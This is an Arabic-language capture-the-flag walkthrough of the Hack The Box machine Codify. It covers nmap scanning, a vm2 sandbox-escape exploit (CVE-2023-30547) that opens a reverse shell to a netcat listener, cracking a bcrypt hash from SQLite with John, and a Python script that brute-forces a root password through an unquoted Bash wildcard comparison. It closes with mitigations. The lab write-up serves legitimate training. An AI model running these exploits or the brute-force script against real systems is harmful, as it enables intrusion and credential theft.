Hack The Box — شرح Codify

شرح كامل لاختبار الاختراق وتوثيق مفصّل لجهاز Codify على منصة Hack The Box.

📌 معلومات الجهاز

🛠️ الملخص / سلسلة الهجوم

[Nmap Scan: Ports 22, 80, 3000] ➡️ [Node.js Sandbox App (vm2) Detected]
                                      ⬇️
     [CVE-2023-30547: vm2 Sandbox Escape RCE] ➡️ [Reverse Shell as 'svc']
                                      ⬇️
  [SQLite Enum: /var/www/contact/tickets.db] ➡️ [Extract Joshua's Bcrypt Hash]
                                      ⬇️
     [John the Ripper (rockyou.txt)] ➡️ [SSH as 'joshua'] ➡️ [Read user.txt]
                                      ⬇️
   [Sudo Check: /opt/scripts/mysql-backup.sh] ➡️ [Wildcard Comparison Vulnerability]
                                      ⬇️
[Python Bruteforce Script] ➡️ [Extract Root MySQL Password] ➡️ [su root] ➡️ [Read root.txt]

🔍 المرحلة 1: الاستطلاع والتعداد

1. اكتشاف المنافذ

فحص سريع للمنافذ عبر جميع منافذ TCP الـ 65,535 لاكتشاف الخدمات المفتوحة:

Bash

nmap -Pn -n -sS -p- --min-rate 5000 --open <TARGET_IP>

2. كشف إصدارات الخدمات

تعداد تفصيلي على المنافذ 22, 80, 3000:

Bash

nmap -sVC -p 22,80,3000 <TARGET_IP>

💥 المرحلة 2: الوصول الأولي (Foothold)

1. استغلال ثغرة الهروب من بيئة العزل في vm2 (CVE-2023-30547)

يستخدم تطبيق الويب الذي يعمل على المنفذ 3000 نسخةً هشّة من مكتبة العزل vm2 الخاصة بـ Node.js.

استنسخ مستودع الاستغلال العام:

Bash

git clone [https://github.com/user0x1337/CVE-2023-30547](https://github.com/user0x1337/CVE-2023-30547)
cd CVE-2023-30547

2. تنفيذ الاستغلال

شغّل مستمع Netcat محليًا على جهاز الهجوم:

Bash

ncat -lnvp 4444

نفّذ الاستغلال مستهدفًا تطبيق الويب الهش:

Bash

python3 exploit.py --url "http://<TARGET_IP>:3000" --lhost <YOUR_IP> --lport 4444

تحقق من صدفة الوصول الأولي:

Bash

whoami

🔎 المرحلة 3: التعداد الداخلي والحركة الجانبية

1. تعداد قاعدة بيانات SQLite

انتقل إلى دليل الويب /var/www/contact وافحص قاعدة بيانات SQLite:

Bash

cd /var/www/contact
ls -la
sqlite3 tickets.db

استخرج تجزئة bcrypt الخاصة بـ Joshua:

SQL

SELECT password FROM users WHERE username='joshua';

(اضغط CTRL + d للخروج)

2. كسر تجزئة Bcrypt

اكسر التجزئة المستخرجة باستخدام John the Ripper وrockyou.txt:

Bash

echo "<HASH_BCRYPT>" > hash.txt
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

3. الوصول عبر SSH وعلم المستخدم

سجّل الدخول عبر SSH باستخدام بيانات اعتماد Joshua المكسورة:

Bash

ssh joshua@<TARGET_IP>
cat user.txt

⚡ المرحلة 4: تصعيد الامتيازات

1. تعداد صلاحيات Sudo

تحقق من أوامر sudo المسموح بها للمستخدم joshua:

Bash

sudo -l

المخرجات: (ALL : ALL) NOPASSWD: /opt/scripts/mysql-backup.sh

2. تحليل سكربت النسخ الاحتياطي

افحص /opt/scripts/mysql-backup.sh:

Bash

cat /opt/scripts/mysql-backup.sh

الثغرة: يستخدم السكربت تطابق أنماط دون اقتباس في Bash ([[ $USER_PASS == $DB_PASS* ]]). وهذا يسمح للرموز البدل (*) داخل إدخال المستخدم بتنفيذ هجوم القوة الغاشمة حرفًا بحرف ضد كلمة المرور الفعلية.

3. استخراج كلمة المرور آليًا (Python)

أنشئ bruteforce.py لاستخراج كلمة مرور الجذر حرفًا بحرف:

Python

import string
import subprocess

all_characters = list(string.ascii_letters + string.digits)
password = ""
found = False

while not found:
    for character in all_characters:
        # Test password + character + wildcard (*)
        command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
        
        if "Password confirmed!" in output:
            password += character
            print(f"Found: {password}")
            break
    else:
        found = True

print(f"Root Password: {password}")

شغّل السكربت لاستخراج كلمة المرور:

Bash

python3 bruteforce.py

4. علم الجذر

بدّل إلى سياق المستخدم root باستخدام كلمة المرور المستخرجة:

Bash

su root
cat /root/root.txt

🛡️ المعالجة والتخفيفات

• تحديث مكتبات Node.js: أوقف استخدام مكتبات العزل الهشّة أو قم بترقيتها مثل vm2 (CVE-2023-30547).

• تأمين سكربتات Bash: ضع دائمًا المتغيرات بين علامتَي اقتباس في عمليات مقارنة النصوص ([[ "$USER_PASS" == "$DB_PASS" ]]) لمنع مطابقة الأنماط غير المقصودة وحقن الرموز البدل في السكربتات ذات الامتيازات.